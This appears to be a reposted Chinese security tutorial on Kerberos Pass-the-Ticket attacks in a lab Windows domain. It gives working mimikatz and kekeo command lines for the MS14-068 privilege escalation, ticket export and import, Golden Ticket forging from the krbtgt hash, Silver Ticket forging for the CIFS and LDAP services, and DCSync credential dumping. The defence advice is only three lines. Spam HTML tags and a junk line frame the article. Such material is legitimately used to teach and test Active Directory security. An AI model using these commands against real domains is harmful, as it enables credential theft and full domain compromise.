<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/12159

                    0x00 前言


                    上篇介紹了有關Pass The Hash 和Pass The Key的技巧,這次接著介紹一下Pass The Ticket

                    Alt text

                    此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

                    0x01 簡介


                    在域環境中,Kerberos協議被用來作身份認證,上圖所示即為一次簡單的身份認證流程,具體細節可以參考相關資料,這里僅介紹幾個名詞:

                    在了解了相關名詞之后,我們從實際利用的角度來介紹與Pass The Ticket有關的技術

                    測試環境:

                    #!bash
                    域控:
                    os:server 2008 r2 x64
                    ip:192.168.40.132
                    
                    域內主機:
                    os:win7 x64
                    ip:192.168.40.225
                    

                    0x02 MS14-068


                    時至今日,該漏洞已經過去一年多,針對其攻擊的防御檢測方法已經很成熟,所以對其利用方法做一個回顧。

                    1、PyKEK

                    最先公開的利用方法是Sylvain Monné用Python實現的PyKEK

                    準備條件:

                    Tips:

                    1. 操作系統要求Win7及以上,這是因為XP不支持導入Ticket
                    2. 攻擊主機可使用其他域用戶信息,比如可以在主機A上用域用戶B的口令及sid攻擊
                    3. 將Python腳本轉成exe即可在任意一臺Windows主機使用

                    漏洞利用的步驟為:

                    Tips:

                    1. 如果不先清除內存中的Ticket直接導入,有可能會失敗
                    2. 連接域控要使用域控地址,不要用IP

                    2、kekeo

                    Benjamin DELPY用c實現了MS14-068的利用工具,更簡單高效。

                    因為域用戶對應sid本就可以通過程序自動獲取,清除導入票據也能自動實現,當然,如果想用其他域用戶信息攻擊,也可以加上sid手動導入票據

                    kekeo的快捷用法僅需要以下參數:

                    實際測試如圖,成功獲得了域控的訪問權限

                    Alt text

                    Alt text

                    下載地址:
                    https://github.com/gentilkiwi/kekeo/releases

                    0x03 Export the ticket


                    在我們成功獲得域控權限后,就可以導出域控內存中的Ticket,在默認的10個小時以內都可以利用來登錄域控

                    通過mimikatz導出內存中的Ticket,執行:

                    #!bash
                    sekurlsa::tickets /export
                    

                    如圖 Alt text

                    保存成文件,一共導出如下文件,如圖 Alt text

                    挑選其中的[0;2d87a][email protected]在域普通用戶的主機進行導入

                    執行:

                    #!bash
                    mimikatz "kerberos::ptt C:\test\[0;2d87a][email protected]"
                    

                    如圖,導入成功 Alt text

                    查看是否有域控權限,如圖 Alt text

                    Tips:

                    1. 64位系統使用ptt功能要用32位的mimikatz,如果用64的mimikatz,那么無法導入Ticket
                    2. 這種方式導入的Ticket默認在10小時以內生效

                    0x04 Golden Ticket


                    每個用戶的Ticket都是由krbtgt的密碼Hash來生成的,那么,我們如果拿到了krbtgt的密碼Hash,不就可以隨意偽造Ticket了嗎?

                    實際上只要拿到了域控權限,在上面就可以很容易的獲得krbtgt的Hash值,再通過mimikatz即可生成任意用戶任何權限的Ticket,也就是Golden Ticket

                    1、導出krbtgt的Hash

                    在域控上執行

                    #!bash
                    mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
                    

                    生成mimikatz.log記錄輸出,使用log輸出是為了方便復制Hash值

                    如圖: Alt text

                    找到如下信息:

                    #!bash
                    /domain:test.local
                    /sid:S-1-5-21-4155807533-921486164-2767329826 
                    /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
                    

                    2、生成Golden Ticket

                    偽造的用戶設置為god,執行

                    #!bash
                    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 
                    /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god 
                    /ticket:gold.kirbi"
                    

                    生成文件gold.kirbi

                    Tips:

                    生成Golden Ticket不僅可以使用aes256,也可用krbtgt的NTLM hash
                    可以用mimikatz "lsadump::lsa /patch"導出

                    如圖 Alt text

                    導入Golden Ticket,執行如下命令:

                    #!bash
                    kerberos::ptt c:\test\gold.kirbi
                    

                    如圖,成功獲得域控權限 Alt text

                    Tips:

                    1. 這種方式導入的Ticket默認在20分鐘以內生效,當然,如果過期了,再次ptt導入Golden Ticket就好
                    2. 可以偽造任意用戶,即使其不存在
                    3. krbtgt的NTLM hash不會輕易改變,即使修改域控管理員密碼

                    0x05 Silver Ticket


                    Silver Ticket是偽造的TGS(Ticket Granting Server)ticket,所以也叫service ticket

                    將它同Golden Ticket做對比:

                    1、訪問權限不同

                    Golden Ticket是偽造的TGT(Ticket Granting Ticket),所以可以獲取任何Kerberos服務權限

                    Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限

                    2、加密方式不同

                    Golden Ticket是由krbtgt的hash加密

                    Silver Ticket是由服務賬戶(通常為計算機賬戶)hash加密

                    3、認證流程不同

                    Golden Ticket在使用的過程需要同域控通信

                    Silver Ticket在使用的過程不需要同域控通信

                    舉例說明Silver Ticket:

                    正常的認證流程為 Alt text

                    此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

                    如果使用了Silver Ticket,認證流程變為 Alt text

                    此圖片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/

                    不難看出其中取消了步驟1-4

                    也就是說只要手里有Silver Ticket,就可以跳過KDC認證,直接去訪問指定的服務。

                    比如現在要訪問域控上的“cifs”服務(cifs服務用于Windows主機間的文件共享)

                    首先需要獲得如下信息:

                    在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash

                    #!bash
                    mimikatz log "sekurlsa::logonpasswords"
                    

                    如圖 Alt text

                    注:

                    此處要找到計算機賬戶,也就是Username : WIN-8VVLRPIAJB0$NTLM hash,如果是其他賬戶,那么會失敗

                    整理以上獲得的信息如下:

                    使用mimikatz執行如下命令導入Silver Ticket

                    #!bash
                    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
                    

                    如圖,成功導入,此時可以成功訪問域控上的文件共享

                    Alt text

                    Alt text

                    為了加深理解,再舉一個例子

                    訪問域控上的“LDAP”服務

                    整理信息如下,只需要把/service的名稱改為LDAP,/user改為krbtgt,/rc4改為krbtgt的NTLM HASH

                    mimikatz導入Silver Ticket的命令為:

                    #!bash
                    mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
                    

                    此時dir \\WIN-8VVLRPIAJB0.test.local\c$ 發現無法訪問,也就是前面提到的

                    Silver Ticket是偽造的TGS,也就是說其范圍有限,只能訪問指定的服務權限

                    如圖,雖然成功導入,但是無法訪問域控的文件共享 Alt text

                    但是執行如下命令可以遠程訪問LDAP服務來獲得krbtgt的信息:

                    #!bash
                    mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
                    

                    如圖,成功遠程獲得krbtgt賬戶信息 Alt text

                    注:

                    lsadump::dcsync
                    向 DC 發起一個同步對象(可獲取帳戶的密碼信息)的質詢。
                    需要的權限包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶
                    只讀域控制器默認不允許讀取用戶密碼數據
                    

                    參數選項:

                    /user - 要查詢的用戶id 或 SID
                    /domain(可選的)默認設置為當前域。
                    /dc(可選的)指定DCSync 連接的域控位置
                    

                    當然,還有其他服務可通過偽造Silver Ticket訪問:

                    如圖列舉了其他可用作Silver Ticket的服務: Alt text

                    此圖片引用自https://adsecurity.org/?p=2011

                    0x06 防御


                    1. 域控及時更新補丁
                    2. 時刻監控域控日志
                    3. 限制mimikatz使用

                    0x07 小結


                    本文介紹了和Pass The Ticket有關的技術,著重對實際使用的一些情況做了演示,無論攻防,只有實踐,才會進步。

                    Real knowledge comes from practices.

                    0x08 參考資料:


                    本文由三好學生原創并首發于烏云drops,轉載請注明

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频